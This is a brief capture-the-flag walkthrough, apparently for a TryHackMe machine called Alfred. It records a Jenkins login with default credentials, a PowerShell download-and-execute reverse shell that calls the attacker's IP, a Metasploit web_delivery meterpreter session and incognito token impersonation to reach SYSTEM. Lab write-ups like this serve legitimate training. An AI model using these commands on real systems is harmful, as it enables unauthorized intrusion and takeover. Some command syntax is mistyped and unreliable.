Alfred

1. Ports opened: 3 `nmap -sCV -T5 -p- -Pn IP`
2. User and password -> admin:admin. Go to IP:8080. No info was given so we try some default login credentials like admin:admin which successfully logged us in
3. `powershell iex (New-Object Net.WebClient).DownloadString('http://10.17.32.108:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.17.32.108 -Port 4444` Click on project at the top left and right click ->configure. Scroll down and fill in the shell script with that command. Click build and get reverse shell. Go to bruce Desktop to retrieve flag
4. The original given steps to get meterpreter shell does not work. Instead use web_delivery to do so. Run `msfconsole` and `use exploit/multi/script/web_delivery`. Set the payload by executing `set payload windows/meterpreter/reverse_tcp`. Set your lhost and lport which is your thm-ip and your port of your choice. Run the exploit and you will get a script. Run the powershell script in the reverse shell we gained earlier. Now we have a meterpreter session
5. Now we want to get elevated privilege. start a shell and we can see that 2 of the most abused privilege of account are present that is eDebugPrivilege, SeImpersonatePrivilege. Now we want to migrate to a PID that will allow us to gain access to root.txt which is the administrator. We can check avail token by running `list-tokens -g` after running `load incognito`. We see that BULITIN\Administrators is available and we are interested to see how we can impersonate that. To do so we run `impersonate_token "BULTIN\ADMINISTRATORS`. We get output NT AUTHORITY\SYSTEM. Now in meterpreter, we run ps to list all process and we are interested in process that has NT AUTHORITY\SYSTEM privilege. Does not matter which pid we use just select one with that by running `pid <id?`. Now we have privileged access and we can get the root.txt